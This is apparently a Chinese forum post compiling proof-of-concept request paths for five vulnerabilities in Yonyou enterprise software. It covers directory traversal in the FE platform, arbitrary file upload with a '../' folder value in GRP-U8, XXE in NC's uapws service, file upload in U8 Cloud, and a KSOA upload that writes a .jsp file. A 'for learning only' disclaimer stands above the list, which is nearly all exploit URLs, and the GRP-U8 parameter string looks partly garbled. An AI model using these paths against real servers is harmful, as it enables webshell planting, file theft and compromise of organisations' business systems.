用友漏洞 PoC 整理

吉沃运营专员

本文内容为互联网上收集，禁止用于非法用途，仅供学习使用！

1、用友 FE 协作办公平台目录遍历

templateOfTaohong_manager.jsp

1. /system/mediafile/templateofTaoHong_manager.jsp?path={{{path}}}

复制代码

2、用友 GRP-U8 财务管理软件任意文件上传

1. /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=181=1&1=1&1=1&1=1&1=1&1=1&1=1&1=181=1&1=1&1=1&1=181=1&1=1&1=1&foldername=%2e%2e%2f&filename=

复制代码

3、用友 NC 系统 uapws wsdl XXE

1. /uapws/service/nc.uap.oba.update.IUpdateService?xsd={{{xmlUrl}}}

复制代码

4、用友 u8 cloud 任意文件上传漏洞

/nccloud 前台文件上传

1. /hrss/servlet/uploadimg2File

复制代码

5、用友时空 KSOA 软件前台文件上传漏洞

1. /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=gmtxj.jsp

复制代码